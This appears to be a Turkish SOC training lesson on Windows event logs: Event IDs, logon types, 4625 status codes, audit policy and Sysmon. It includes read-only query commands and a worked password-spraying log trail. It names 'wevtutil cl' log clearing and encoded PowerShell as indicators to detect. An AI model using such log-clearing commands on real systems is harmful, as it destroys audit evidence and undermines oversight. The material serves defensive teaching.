Aşama 5: SOC'un izlediği sistemler · Ders 5.2
Windows 2: olay günlüğü, bilinmesi gereken Event ID'ler, Sysmon
Windows olay günlüğünü Event Viewer, Get-WinEvent ve wevtutil ile okuyabilir, denetim ilkesinin neyi kaydedip neyi kaydetmediğini söyleyebilir, temel Event ID'leri ve Sysmon olaylarını alanlarıyla tanıyıp bir parola püskürtmeyi, kaba kuvveti, yeni servis kurulumunu ve temizlenen günlüğü kayıtlardan çıkarabilirsiniz.
Bir Windows makinesinde olan her önemli şey, ayarlar izin verdiği ölçüde, olay günlüğüne bir satır olarak düşer: kimin hangi yoldan oturum açtığı, kimin parolayı yanlış girdiği, hangi hesabın yöneticiler grubuna eklendiği, hangi servisin kurulduğu, günlüğü kimin sildiği. SOC analistinin Windows tarafındaki işinin büyük kısmı bu satırları okumaktır. Önceki derste süreçleri ve kayıt defterini gördünüz; bu derste günlüğün nerede durduğunu ve nasıl sorgulandığını, bazı olayların neden hiç kaydedilmediğini (denetim ilkesi), ezbere bilinmesi gereken Event ID'leri alanlarıyla ve Security günlüğünün göremediğini gösteren Sysmon'u öğreneceksiniz. Derinlemesine bölümünde bir parola püskürtmeyi, bir kaba kuvveti, yeni bir servis kurulumunu ve temizlenmiş bir günlüğü kayıt kayıt okuyacağız.
Olay günlüğü nedir, nerede durur?
Olay günlüğü (event log), Windows'un ve programların olayları yazdığı merkezi kayıttır. Her kaydı bir sağlayıcı (provider) yazar: oturum olaylarını Microsoft-Windows-Security-Auditing, servis olaylarını Service Control Manager. Her kaydın bir Event ID'si vardır ve aynı sağlayıcının aynı numarası her makinede aynı anlama gelir; analistin ezberi bu yüzden numaralar üzerine kuruludur.
Kayıtlar kanal (channel) denen günlüklere ayrılır. Üç klasik kanal:
- Security: Denetim (audit) olayları: oturum, hesap değişikliği, süreç oluşturma. Okumak için yönetici yetkisi gerekir. SOC için en değerli kanaldır.
- System: İşletim sistemi bileşenleri: servislerin kurulması ve başlaması, sürücüler, açılış ve kapanış.
- Application: Uygulamaların yazdığı olaylar: çöken programlar, veritabanı ve yedekleme iletileri.
Uygulama ve Hizmet Günlükleri (Applications and Services Logs) altında bileşen başına kanallar vardır. En çok bakılanlar: Microsoft-Windows-PowerShell/Operational (betik blokları), Microsoft-Windows-TaskScheduler/Operational (106 görev kaydedildi, 200 eylem başlatıldı), Microsoft-Windows-Windows Defender/Operational (1116 kötü amaçlı yazılım algılandı, 5001 gerçek zamanlı koruma kapatıldı) ve kuruluysa Microsoft-Windows-Sysmon/Operational.
Her kanal diskte bir .evtx dosyasıdır: %SystemRoot%\System32\Winevt\Logs\Security.evtx gibi. Dosyanın bir üst boyutu vardır ve varsayılan kip döngüseldir (circular): dolunca en eski kayıtların üzerine yazılır. Yoğun bir sunucuda bu birkaç saatlik geçmiş demektir; kurumlar bu yüzden kayıtları bir merkeze (SIEM) iletir.
Kayıtları görmenin üç yolu vardır: Olay Görüntüleyicisi (Event Viewer, `eventvwr.msc`), PowerShell'de Get-WinEvent ve komut satırında wevtutil. Olay Görüntüleyicisinin Genel (General) sekmesi okunur iletiyi, Ayrıntılar (Details) sekmesi kaydın asıl biçimi olan XML'i gösterir. XML'in System bölümü her kayıtta aynıdır (Event ID, zaman, bilgisayar, kanal); EventData bölümü olaya özgü, adlandırılmış alanları taşır. SIEM'lerin ayrıştırdığı TargetUserName, LogonType, IpAddress gibi alanlar bu adlardır.
Security kayıtlarında asıl ayrım Keywords alanındadır: Audit Success ya da Audit Failure. Microsoft'un belgelerindeki 4624(S) ve 4625(F) gösterimi de bunu söyler.
Denetim ilkesi: kaydedilmeyen olay hiç olmamış gibidir
Security günlüğüne neyin yazılacağını denetim ilkesi (audit policy) belirler. Bugünkü biçim Gelişmiş Denetim İlkesi (Advanced Audit Policy)'dir: dokuz kategori, altlarında elliyi aşkın alt kategori (subcategory) ve her birinde ayrı başarı (Success) ve başarısızlık (Failure) anahtarı. 4624 ve 4625 Logon, 4688 Process Creation, 4697 Security System Extension, 4698 Other Object Access Events alt kategorisinden gelir.
Geçerli ilke, yönetici olarak açılmış komut isteminde auditpol /get /category:* ile görülür; yönetici olmadan komut Error 0x00000522 (A required privilege is not held by the client) ile durur. Her alt kategorinin karşısında No Auditing, Success, Failure ya da Success and Failure yazar.
Varsayılan ilke, analistin en çok ihtiyaç duyduğu olayların bir kısmını hiç üretmez. Microsoft'un tablosuna göre Windows istemcide:
- Açık: Logon (Windows 10 1809'dan beri başarı ve başarısızlık, öncesinde yalnız başarı), Logoff, Special Logon, Account Lockout, User Account Management, Audit Policy Change (başarı).
- Kapalı: Process Creation (4688), Security System Extension (4697), Other Object Access Events (4698), istemcide Security Group Management (4728, 4732, 4756), Credential Validation (4776) ve Kerberos alt kategorileri (4768, 4769, 4771).
Sonuç: ilkesi ayarlanmamış bir makinede saldırgan servis kurar, görev ekler, powershell.exe çalıştırır ve Security günlüğünde bunların hiçbiri görünmez. Kayıt yoksa olmadı demek değildir; kaydedilmedi demektir. Bir olayın yokluğunu yorumlamadan önce o makinenin ilkesi bilinmelidir.
İki ayrı anahtar daha vardır, ikisi de varsayılanda kapalıdır. 4688'in komut satırı alanı ancak Administrative Templates\System\Audit Process Creation\Include command line in process creation events ilkesiyle dolar. PowerShell betik metni (4104) Turn on PowerShell Script Block Logging ilkesine (Administrative Templates, Windows Components, Windows PowerShell) bağlıdır. Bu ayarlar Grup İlkesiyle (Group Policy) bütün makinelere dağıtılır.
Oturum olayları: 4624, 4625 ve oturum türleri
4624 (An account was successfully logged on), oturum açıldığında erişilen bilgisayarda yazılır: WS-014'ten dosya sunucusuna bağlanan kullanıcının 4624'ü dosya sunucusundadır. En önemli alanlar:
- Logon Type: Oturumun nasıl açıldığı (tablo). Kaydın anlamını en çok değiştiren alandır.
- New Logon\Account Name: Oturumu açılan hesap (
TargetUserName). Subject bölümündeki hesap olayı bildirendir, çoğu zaman makinenin kendisi (WS-014$) ya da SYSTEM; aranan kişi o değildir. - Logon ID: Oturumun onaltılık numarası (
0x8dcdcgibi). Aynı oturumun 4672, 4688, 4634 olayları aynı Logon ID'yi taşır; olayları bağlayan anahtardır. - Source Network Address ve Workstation Name: Bağlantının geldiği adres ve makine (
IpAddress,WorkstationName); yerel oturumda127.0.0.1ya da-. - Logon Process: Oturumu işleyen süreç: etkileşimli oturumda
User32, NTLM ağ oturumundaNtLmSsp. - Authentication Package:
Kerberos,NTLMya da aralarında seçim yapanNegotiate. NTLM'de Package Name (NTLM only)NTLM V1,NTLM V2ya daLMyazar; V1 ya da LM eski ve zayıf bir yöntemin yaşadığını gösterir.
Oturumun bitişini 4634 (An account was logged off) ve kullanıcı kendisi kapattığında 4647 (User initiated logoff) söyler; ağ oturumlarında yalnız 4634 görülür. Yönetici düzeyinde ayrıcalık verilen oturumda 4624'ün ardından aynı Logon ID ile 4672 (Special privileges assigned to new logon) gelir. 4648 (A logon was attempted using explicit credentials) bir sürecin farklı kimlik bilgisiyle (örneğin runas) oturum denediğini söyler ve kaynağın tarafında yazılır; Target Server Name nereye gidildiğini gösterir.
4625 (An account failed to log on) 4624'ün aynasıdır: aynı Logon Type, hesap ve ağ alanlarına Failure Information (Failure Reason, Status, Sub Status) eklenir.
| Logon Type | Adı | Ne zaman görülür | Analist için anlamı |
|---|---|---|---|
| 2 | Interactive | Makinenin kendi klavyesi ve ekranından oturum | Sunucuda beklenmiyorsa konsola kim, nasıl erişti |
| 3 | Network | Ağdan erişim: paylaşılan klasör (SMB), uzaktan yönetim | En kalabalık tür; parola püskürtme ve yanal hareket de bu türle görülür |
| 4 | Batch | Kullanıcı müdahalesi olmadan onun adına çalışan işler (zamanlanmış görev gibi) | Kullanıcı hesabıyla yeni beliren toplu iş kalıcılık olabilir |
| 5 | Service | Service Control Manager bir servisi başlattı | Etki alanı yöneticisi hesabı burada görülmemeli |
| 7 | Unlock | Kilitli ekran açıldı | Genellikle olağan |
| 10 | RemoteInteractive | Uzak Masaüstü (RDP) ya da Terminal Services | Dış kaynaklı ya da beklenmeyen hesaptan gelen oturum incelenir |
| 11 | CachedInteractive | DC'ye ulaşılmadan, makinede saklanan kimlik bilgisiyle etkileşimli oturum | Ağ dışındaki dizüstülerde olağan; DC'de iz bırakmaz |
Dikkat: Microsoft'un tablosunda 0 System, 8 NetworkCleartext, 9 NewCredentials, 12 ve 13 önbellekli türler de vardır. Mülakatlarda en çok 2, 3, 5, 10 ve 11 sorulur.
Başarısız oturumun dili: Status ve Sub Status
4625 başarısızlığın nedenini onaltılık NTSTATUS koduyla verir: Status genel nedeni, Sub Status ayrıntıyı. Yanlış kullanıcı adı ile yanlış parola Status'ta aynı kodu (0xC000006D) taşıyabilir; farkı Sub Status gösterir.
Kodlar saldırının türünü ele verir. Aynı hesaba art arda 0xC000006A kaba kuvvet (brute force) ya da parola tahminidir (password guessing). Var olmayan adlara gelen 0xC0000064 dalgası, hangi adların var olduğunu yoklayan kullanıcı adı numaralandırmasıdır (user enumeration). Kaba kuvvetin sonunda 0xC0000234 görünüyorsa hesap kilitlenmiştir ve o an 4740 (A user account was locked out) yazılır; Caller Computer Name denemelerin geldiği makineyi söyler.
Parola püskürtme (password spraying) tersidir: kilitlenmeye takılmamak için tek bir yaygın parola çok sayıda hesapta birer kez denenir. Görüntü: tek kaynak, kısa pencere, her satırda başka hesap, hepsinde 0xC000006A, kilitlenme yok. Hesap başına bakan bir kural bunu kaçırır; doğru soru bir kaynaktan kaç farklı hesaba deneme geldiğidir.
Çalışılmış örnek. DC01'de 22 saniye içinde 203.0.113.88'den 12 kayıt 4625: Logon Type 3, her birinde başka hesap, Sub Status 0xC000006A. Hesap başına bir deneme ve gerçek adlar: saldırgan kullanıcı listesini önceden edinmiş ve parola püskürtüyor (T1110.003). Sıradaki soru en önemlisidir: aynı adresten bir 4624 var mı? Varsa püskürtme tutmuştur; o oturumun Logon ID'si üzerinden sonraki her olay izlenir. Bu kesit Derinlemesine bölümünde satır satır okunur.
Etki alanında 4625, oturumun denendiği makinede yazılır; etki alanı denetleyicisi kendi tarafını Kerberos (4768, 4771) ya da NTLM (4776) olaylarıyla kaydeder. Bunlar bir sonraki dersin konusudur.
| Kod | Microsoft'un açıklaması | Kayıtta ne anlatır |
|---|---|---|
| 0xC000006D | This is either due to a bad username or authentication information | Genel neden: kullanıcı adı ya da parola hatalı. Ayrıntı Sub Status'tadır |
| 0xC000006A | User logon with misspelled or bad password | Hesap var, parola yanlış. Çoğu kaba kuvvet ve püskürtme satırı böyledir |
| 0xC0000064 | User logon with misspelled or bad user account | Böyle bir hesap yok. Art arda çok sayıda ise kullanıcı adı numaralandırması |
| 0xC0000234 | Account locked out (Failure Reason metni) | Hesap kilitli. Kaba kuvvetin kilitleme eşiğine çarptığını gösterir |
| 0xC0000072 | User logon to account disabled by administrator | Devre dışı hesapla deneme: eski ya da ayrılmış bir çalışanın hesabı denenmiş olabilir |
Hesap, süreç, servis, görev ve iz silme olayları
Oturumdan sonra saldırganın tipik adımları kalıcılık (persistence) sağlamak, yetkisini büyütmek ve izini silmektir. Her adımın bir olayı vardır.
4688'de New Process Name çalışan programı, Creator Process Name üst süreci (parent process), Process Command Line parametreleri verir; powershell.exe -enc ... ya da wevtutil cl gibi komutlar burada görünür. Yeni servis System'de 7045 olarak her zaman, Security'de 4697 olarak yalnız ilgili denetim açıksa yazılır; 4697'nin artısı servisi kuran hesabı ve Logon ID'sini vermesidir.
Security temizlenince yeni günlüğün ilk kaydı 1102 olur ve temizleyen hesabı söyler; denetim ilkesinden bağımsız yazılır. Başka bir günlük temizlenince System'e 104 düşer. 4104 (Creating Scriptblock text) PowerShell'in çalıştırdığı bloğun çözülmüş metnini taşır: komut Base64 ile kodlansa bile 4104'te okunur metin görülür. PowerShell 7 ayrı bir kanala, PowerShellCore/Operational'a yazar.
| Event ID | Günlük | Olay | Bakılacak alanlar |
|---|---|---|---|
| 4688 | Security | A new process has been created | New Process Name, Creator Process Name, Process Command Line, Token Elevation Type |
| 4697 | Security | A service was installed in the system | Subject, Service Name, Service File Name, Service Type, Service Start Type, Service Account |
| 7045 | System | A service was installed in the system | Service Name, Service File Name (XML'de ImagePath), Service Start Type, Service Account |
| 4698 | Security | A scheduled task was created | Subject, Task Name, Task Content (görevin XML tanımı: ne, ne zaman, kimin adına çalışacak) |
| 4720 | Security | A user account was created | Subject (açan), New Account |
| 4722 | Security | A user account was enabled | Subject, Target Account; kapalı bir hesabın açılması |
| 4724 | Security | An attempt was made to reset an account's password | Subject, Target Account; başkasının parolasını sıfırlama |
| 4728 | Security | A member was added to a security-enabled global group | Member, Group Name (Domain Admins gibi) |
| 4732 | Security | A member was added to a security-enabled local group | Member, Group Name (yerel Administrators gibi) |
| 4756 | Security | A member was added to a security-enabled universal group | Member, Group Name (Enterprise Admins gibi) |
| 4740 | Security | A user account was locked out | Account That Was Locked Out, Caller Computer Name |
| 1102 | Security | The audit log was cleared | Subject (temizleyen hesap, Logon ID) |
| 104 | System | The (System, Application ...) log file was cleared | Temizlenen kanal, temizleyen hesap |
| 4104 | PowerShell/Operational | Creating Scriptblock text | ScriptBlockText, Path; çözülmüş betik metni |
| 4768, 4769, 4771, 4776 | Security (DC) | Kerberos TGT isteği, servis bileti isteği, Kerberos ön doğrulama başarısız, NTLM kimlik doğrulaması | Bir sonraki derste: Active Directory ve Kerberos |
Sysmon: Security günlüğünün görmediğini görmek
Sysmon (System Monitor), Microsoft Sysinternals'ın ücretsiz aracıdır: bir servis ve bir sürücü olarak çalışır, yeniden başlatmalarda kalır ve olayları Microsoft-Windows-Sysmon/Operational kanalına UTC zamanla yazar. Analiz yapmaz ve gizlenmeye çalışmaz; işi Security günlüğünün kaydetmediği ayrıntıları üretmektir.
4688'e göre Sysmon 1 şunları ekler: görüntünün hash'i (SHA1 varsayılan; MD5, SHA256, IMPHASH ya da hepsi), üst sürecin yolu ve komut satırı (ParentImage, ParentCommandLine) ve ProcessGuid. Windows PID'leri yeniden kullanır; ProcessGuid ise tektir ve sürecin bağlantılarını, dosyalarını, alt süreçlerini karışıklıksız aynı sürece bağlar.
Önceki derste süreç ağacının ve dosya yolunun neden süreç adından çok şey söylediğini gördünüz; Sysmon bu bilgiyi geçmişe dönük ve her süreç için kayda geçirir. Hash buna bir ölçüt ekler: adı svchost.exe olan bir dosyanın hash'i Microsoft'un dosyasına uymuyorsa ad bir kılıktır.
Sysmon bir yapılandırma dosyasıyla (configuration file) çalışır: sysmon64 -accepteula -i config.xml ile kurulur, sysmon64 -c config.xml ile güncellenir. Her olay türünün etiketi (ProcessCreate, NetworkConnect, DnsQuery ...) onmatch="include" (yalnız eşleşeni yaz) ya da onmatch="exclude" (eşleşeni yazma) ile süzülür; ikisi birden eşleşirse exclude kazanır. Süzgeçsiz Sysmon günlüğü dakikalar içinde doldurur, fazla dar süzgeç saldırıyı kaçırır.
| Sysmon ID | Ad | Ne kaydeder |
|---|---|---|
| 1 | Process creation | Yeni süreç: Image, CommandLine, Hashes, ProcessGuid, ParentImage, ParentCommandLine, User |
| 3 | Network connection | TCP/UDP bağlantısı ve onu açan süreç: kaynak ve hedef adres, port, ad. Varsayılanda kapalıdır |
| 7 | Image loaded | Bir sürece yüklenen modül (DLL), hash ve imza bilgisiyle. Varsayılanda kapalı, çok gürültülüdür |
| 8 | CreateRemoteThread | Bir sürecin başka bir süreçte iş parçacığı başlatması: kod enjeksiyonu (process injection) belirtisi |
| 10 | ProcessAccess | Bir sürecin başka bir süreci açması; örneğin LSASS belleğinin okunması (kimlik bilgisi çalma) |
| 11 | FileCreate | Dosya oluşturma ya da üzerine yazma; başlangıç klasörü, geçici ve indirme klasörleri için değerlidir |
| 12, 13, 14 | RegistryEvent | Kayıt defterinde anahtar ya da değer oluşturma ve silme (12), değer yazma (13), yeniden adlandırma (14) |
| 15 | FileCreateStreamHash | Adlandırılmış dosya akışı (ADS) oluşturma; tarayıcının indirilen dosyaya eklediği Zone.Identifier işaretini yakalar |
| 22 | DNSEvent | Bir sürecin yaptığı DNS sorgusu, sonucu ve sorguyu yapan program |
| 23 | FileDelete | Silinen dosya; kopyası ArchiveDirectory'de (varsayılan C:\Sysmon) saklanır |
| 25 | ProcessTampering | Süreç görüntüsünün değiştirilmesi: process hollowing gibi gizleme teknikleri |
Akılda kalsın
- 4624 başarılı, 4625 başarısız oturumdur ve ikisi de erişilen makinede yazılır. Logon Type: 2 yerel, 3 ağ, 4 toplu iş, 5 servis, 7 kilit açma, 10 Uzak Masaüstü, 11 önbellekteki kimlik bilgisi. Logon ID aynı oturumun olaylarını (4672, 4688, 4634) birbirine bağlar.
- 4625'te Sub Status 0xC000006A parola yanlış, 0xC0000064 kullanıcı yok, Status 0xC0000234 hesap kilitli demektir. Tek hesaba çok deneme kaba kuvvet, tek kaynaktan çok hesaba birer deneme parola püskürtmedir; ardından aynı kaynaktan gelen 4624 saldırının başarıya ulaştığını söyler.
- Varsayılan denetim ilkesi 4688, 4697, 4698'i ve istemcide grup değişikliklerini üretmez; 4688'in komut satırı ve 4104 ayrı ilkelerle açılır. Bir olayın yokluğunu yorumlamadan önce
auditpol /get /category:*ile ilkeye bakılır. - Yeni servis System'de 7045, Security'de 4697; zamanlanmış görev 4698; hesap 4720, 4722, 4724; grup üyeliği 4728 (global), 4732 (yerel), 4756 (evrensel); kilitlenme 4740; Security temizliği 1102, diğer günlüklerin temizliği 104 olarak görülür.
- Sysmon, Security günlüğünün vermediği hash'i, üst süreci, ProcessGuid'i, ağ bağlantısını (3), DNS sorgusunu (22), LSASS erişimini (10) ve kayıt defteri değişikliğini (12, 13, 14) kaydeder; ne kaydedeceğini yapılandırma dosyası belirler ve include ile exclude birlikte eşleşirse exclude kazanır.
Terimler
| Türkçe | English | Anlamı |
|---|---|---|
| olay günlüğü | event log | Windows'un ve programların olayları kanallara yazdığı merkezi kayıt; dosyaları .evtx uzantılıdır. |
| kanal | channel | Olayların ayrıldığı günlük: Security, System, Application ve bileşen başına Operational kanalları. |
| Olay Görüntüleyicisi | Event Viewer | Günlükleri grafik arayüzde gösteren eventvwr.msc aracı; Ayrıntılar sekmesinde XML görünür. |
| denetim ilkesi | audit policy | Security günlüğüne hangi olayların başarı ve başarısızlık için yazılacağını belirleyen ayarlar. |
| oturum türü | logon type | 4624 ve 4625'te oturumun nasıl açıldığını söyleyen sayı: 2, 3, 5, 10, 11 ... |
| oturum kimliği | Logon ID | Bir oturuma verilen onaltılık numara; aynı oturumun olaylarını birbirine bağlar. |
| kimlik doğrulama paketi | authentication package | Oturumu doğrulayan yöntem: Kerberos, NTLM ya da aralarında seçim yapan Negotiate. |
| durum kodu | status / sub status | 4625'te başarısızlığın nedenini veren NTSTATUS kodları; ayrıntı Sub Status'tadır. |
| kaba kuvvet | brute force | Tek hesaba çok sayıda parola denemek; kayıtta tek hesaba art arda 4625 olarak görünür. |
| parola püskürtme | password spraying | Bir ya da birkaç yaygın parolayı çok sayıda hesapta birer kez denemek; kilitlenmeye takılmamak içindir. |
| kullanıcı adı numaralandırması | user enumeration | Hangi hesapların var olduğunu yoklamak; 4625'te Sub Status 0xC0000064 dalgası olarak görünür. |
| hesap kilitlenmesi | account lockout | Eşiği aşan başarısız denemeden sonra hesabın geçici olarak kapatılması; 4740 ve Status 0xC0000234. |
| kalıcılık | persistence | Saldırganın erişimini yeniden başlatma ya da parola değişikliğinden sonra da korumak için kurduğu düzen: servis, görev, yeni hesap. |
| üst süreç | parent process | Bir süreci başlatan süreç; 4688'de Creator Process Name, Sysmon 1'de ParentImage. |
| betik bloğu günlüğü | Script Block Logging | PowerShell'in çalıştırdığı betik metnini 4104 olarak yazması; Grup İlkesiyle açılır. |
| Sysmon | System Monitor | Sysinternals'ın, süreç, ağ, dosya ve kayıt defteri olaylarını ayrıntılı kaydeden servis ve sürücüsü. |
| yapılandırma dosyası | configuration file | Sysmon'un hangi olayı hangi koşulla kaydedeceğini include ve exclude kurallarıyla belirleyen XML dosyası. |
| süreç kimliği (GUID) | ProcessGuid | Sysmon'un her sürece verdiği tekil değer; PID yeniden kullanılsa da olayları doğru sürece bağlar. |
| özet değeri | hash | Dosyanın içeriğinden hesaplanan parmak izi (SHA256 gibi); ad değişse de dosyayı tanıtır. |
| iz silme | log clearing / defense impairment | Günlükleri temizleyerek izleri yok etme; Security için 1102, diğer günlükler için 104 bırakır. |
Kaynaklar ve sınav konuları
- CompTIA CySA+ CS0-004 1.1: Explain concepts related to system and network architecture in security operations (Logging concepts: configuration, retention, integrity and security, time synchronization)
- CompTIA CySA+ CS0-004 1.3: Given a scenario, use tools to determine malicious activity (Log analysis: SIEM; File formats: EVTX, XML; Programming/scripting languages: PowerShell)
- CompTIA CySA+ CS0-004 3.3: Given a scenario, implement incident response techniques (Log collection; Log correlation; Establishment of a timeline; Evidence gathering: preservation)
- CompTIA Security+ SY0-801 2.5: Given a scenario, analyze indicators of malicious activity (Indicators of compromise: malicious processes, hash, log manipulation, account lockout; Credential attacks: password spraying, brute force, user enumeration)
- CompTIA Security+ SY0-801 4.8: Given a scenario, use data, artifacts and sources to support a security investigation (Log and trace data types: authentication, audit, endpoint; File/log integrity; Log-parsing techniques)
- MITRE ATT&CK v20: T1110.003 Password Spraying, T1110.001 Password Guessing, T1543.003 Windows Service, T1685.005 Clear Windows Event Logs (eski adıyla T1070.001), T1059.001 PowerShell
Bu dersteki bilgiler şu asıl kaynaklarla denetlendi:
- Microsoft Learn: 4624(S) An account was successfully logged on
- Microsoft Learn: 4625(F) An account failed to log on
- Microsoft Learn: 4688(S) A new process has been created
- Microsoft Learn: System Audit Policy recommendations (Windows varsayılanları)
- Microsoft Learn (Sysinternals): Sysmon
- Microsoft Learn: Get-WinEvent
- Microsoft Learn: about_Logging (Windows PowerShell 5.1, Script Block Logging)
- MITRE ATT&CK: Brute Force: Password Spraying (T1110.003)
Bu bölüm sınavın ve işin istediği ayrıntıdır: alanlar, sayılar, uç durumlar. Bir başlığa dokunarak açıp kapatabilirsiniz.
Get-WinEvent ve wevtutil ile okumak
Get-WinEvent, Get-EventLog'un yerini alan komuttur ve hem klasik kanalları hem de Uygulama ve Hizmet Günlüklerini okur. Varsayılan olarak olayları en yeniden en eskiye döndürür; -Oldest sırayı tersine çevirir. -MaxEvents dönen kayıt sayısını sınırlar; büyük bir günlükte bu parametresiz bir sorgu dakikalarca sürebilir. Security kanalını okumak için PowerShell'in yönetici olarak açılmış olması gerekir.
Süzmenin doğru yolu -FilterHashtable'dır: süzgeç kayıtlar okunurken uygulanır. Hepsini alıp sonra Where-Object ile süzmek çok daha yavaştır. En çok kullanılan anahtarlar LogName, ID, StartTime, EndTime, Path (kopyalanmış bir .evtx dosyası) ve EventData'daki adlandırılmış alanlardır (örneğin TargetUserName='m.kaya').
Message sütunu insan içindir; ayrıştırma için kaydın XML'i kullanılır. ToXml() ile alınan XML'den EventData alanları adlarıyla okunur. Aşağıdaki ikinci komut son 200 başarılı oturumu türüne göre sayar: bir makinenin olağan profilini çıkarmanın en hızlı yolu.
Komut satırında aynı iş wevtutil ile yapılır: wevtutil qe (query events) bir sorgu çalıştırır; /c: sayıyı, /rd:true yeniden eskiye sırayı, /f:text okunur biçimi, /q: bir XPath süzgecini verir. wevtutil gl Security bir kanalın ayarlarını (dosya yolu, boyut, kip) gösterir. wevtutil cl bir kanalı temizler; bu komutu bir 4688 ya da 4104 kaydında görmek doğrudan iz silme şüphesidir.
PS C:\> Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625} -MaxEvents 3
ProviderName: Microsoft-Windows-Security-Auditing
TimeCreated Id LevelDisplayName Message
----------- -- ---------------- -------
11/15/2026 9:42:22 AM 4625 Information An account failed to log on....
11/15/2026 9:42:20 AM 4625 Information An account failed to log on....
11/15/2026 9:42:18 AM 4625 Information An account failed to log on....
PS C:\> Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624} -MaxEvents 200 |
ForEach-Object {
$d = @{}
([xml]$_.ToXml()).Event.EventData.Data | ForEach-Object { $d[$_.Name] = $_.'#text' }
[pscustomobject]@{ Zaman=$_.TimeCreated; Hesap=$d.TargetUserName; Tur=$d.LogonType; Adres=$d.IpAddress }
} | Group-Object Tur -NoElement | Sort-Object Count -Descending
Count Name
----- ----
141 5
38 3
14 2
7 11
C:\> wevtutil qe System /c:1 /rd:true /f:text /q:"*[System[(EventID=7045)]]"
Event[0]
Log Name: System
Source: Service Control Manager
Date: 2026-11-15T07:05:31.2140000Z
Event ID: 7045
Task: N/A
Level: Information
Opcode: N/A
Keyword: Classic
User: S-1-5-18
User Name: NT AUTHORITY\SYSTEM
Computer: SRV-07.example.com
Description:
A service was installed in the system.
Service Name: YedekAjan
Service File Name: "C:\Program Files\YedekAjan\agent.exe" -service
Service Type: user mode service
Service Start Type: auto start
Service Account: LocalSystemDikkat: XML'deki TimeCreated SystemTime değeri UTC'dir (sonundaki Z bunu söyler); Olay Görüntüleyicisi ve Get-WinEvent'in TimeCreated sütunu ise makinenin yerel saatini gösterir. İstanbul saatiyle (UTC+3) çalışan bir makinede 09:42 yerel saat XML'de 06:42Z'dir. Farklı kaynaklardan bir zaman çizelgesi kurarken hepsini tek bir saat dilimine çevirin.
Bir 4624 kaydı alan alan
Aşağıda bir dosya sunucusunda yazılmış 4624'ün XML'inden EventData bölümü var. Okuma sırası her zaman aynıdır: kim (TargetUserName, TargetDomainName), nasıl (LogonType, LogonProcessName, AuthenticationPackageName), nereden (IpAddress, WorkstationName), hangi yetkiyle (ElevatedToken) ve sonra ne yaptı (TargetLogonId ile sonraki olaylar).
Bu kayıt şunu söyler: EXAMPLE etki alanındaki m.kaya hesabı, 192.168.1.52 adresli WS-022'den ağ üzerinden (tür 3), NTLM V2 ile, yönetici yetkisi olmadan oturum açtı; oturumun numarası 0x3A4F21. Subject bölümünün boş (S-1-0-0, -) olması ağ oturumlarında olağandır.
İki ayrıntı dikkat ister. Birincisi kimlik doğrulama paketidir: etki alanında iki etki alanı makinesi arasındaki bağlantı normalde Kerberos ile doğrulanır. NTLM, ya ad yerine IP adresiyle bağlanıldığını ya da Kerberos'un kullanılamadığını gösterir; parola özetinin doğrudan kullanıldığı saldırılarda (pass the hash) da NTLM görüldüğü için bu oturumlar ayrıca incelenir. İkincisi KeyLength'tir: NTLM oturumunda 128 beklenir; Microsoft 128 olmayan değerlerin izlenmesini önerir.
IpAddress alanı her zaman dolu değildir. Microsoft'un notuna göre adres ve makine adı alanları protokole göre dolar: Kerberos ağ oturumlarında makine adı çoğu zaman boştur, NTLM oturumlarında adres eksik olabilir. Boş alanı "kaynak yok" diye değil "bu protokol bildirmiyor" diye okuyun ve kaynağı başka bir kayıtla (DC'nin Kerberos olayı, güvenlik duvarı günlüğü) tamamlayın.
| Olay Görüntüleyicisindeki ad | XML adı (SIEM alanı) | Not |
|---|---|---|
| New Logon\Account Name | TargetUserName | Oturumu açılan hesap; Subject\Account Name ile karıştırmayın |
| New Logon\Logon ID | TargetLogonId | 4672, 4688, 4634 ile bağlantı anahtarı |
| Logon Information\Logon Type | LogonType | Sayı olarak yazılır: 2, 3, 5, 10 ... |
| Network Information\Source Network Address | IpAddress | Yerelde 127.0.0.1, ::1 ya da - |
| Detailed Authentication Information\Logon Process | LogonProcessName | User32, NtLmSsp, Kerberos ... |
| Detailed Authentication Information\Authentication Package | AuthenticationPackageName | Kerberos, NTLM, Negotiate |
| Failure Information\Sub Status (yalnız 4625) | SubStatus | 0xC000006A, 0xC0000064 ... |
SubjectUserSid S-1-0-0 SubjectUserName - TargetUserSid S-1-5-21-1111111111-2222222222-3333333333-1107 TargetUserName m.kaya TargetDomainName EXAMPLE TargetLogonId 0x3a4f21 LogonType 3 LogonProcessName NtLmSsp AuthenticationPackageName NTLM WorkstationName WS-022 LmPackageName NTLM V2 KeyLength 128 ProcessName - IpAddress 192.168.1.52 IpPort 50914 ImpersonationLevel %%1833 (Impersonation) VirtualAccount %%1843 (No) ElevatedToken %%1843 (No)
Parola püskürtmeyi kayıtta okumak
Aşağıdaki kesit sitenin laboratuvarındaki Windows günlük setine benzer biçimde kurulmuştur. Saat sırasıyla okuyun; her satırda aynı soruları sorun: hangi olay, hangi hesap, hangi tür, hangi kaynak.
Okuma: 09:40'taki iki 4624 olağan gündür (iç adreslerden, alışılmış hesaplar). 09:42:00 ile 09:42:22 arasında tek bir dış adresten (203.0.113.88) 12 farklı hesaba ikişer saniye arayla birer başarısız deneme gelir, hepsi 0xC000006A: hesaplar var, parola yanlış. Hesap başına bir deneme, kilitlenme yok: parola püskürtme. 09:42:26'da aynı adresten muhasebe hesabı tür 3 ile girer: püskürtülen parola bu hesapta tuttu. 09:43:10'da aynı hesap aynı adresten tür 10 ile, yani Uzak Masaüstü ile gelir: saldırgan artık ekranın başındadır.
Devamı tipik bir zincirdir: 09:44:22'de muhasebe hesabı svc_yedek adında, servis hesabına benzeyen bir hesap açar (4720) ve iki saniye sonra onu Administrators grubuna ekler (4732). Kesit laboratuvardaki gibi bir etki alanı denetleyicisinden geliyorsa açılan hesap bir etki alanı hesabıdır (T1136.002 Create Account: Domain Account; bir iş istasyonunda T1136.001 Local Account olurdu); grup üyeliği T1098 Account Manipulation'dır. Bu kalıcılık ve yetki yükseltmedir: muhasebe hesabının parolası değiştirilse bile saldırganın yönetici bir hesabı kalır. 09:46:11'de svc_yedek Security günlüğünü temizler (1102). Temizlikten önceki her şey bu makinede kaybolmuş olabilir; elinizdeki kesit ancak kayıtlar merkeze iletildiyse vardır.
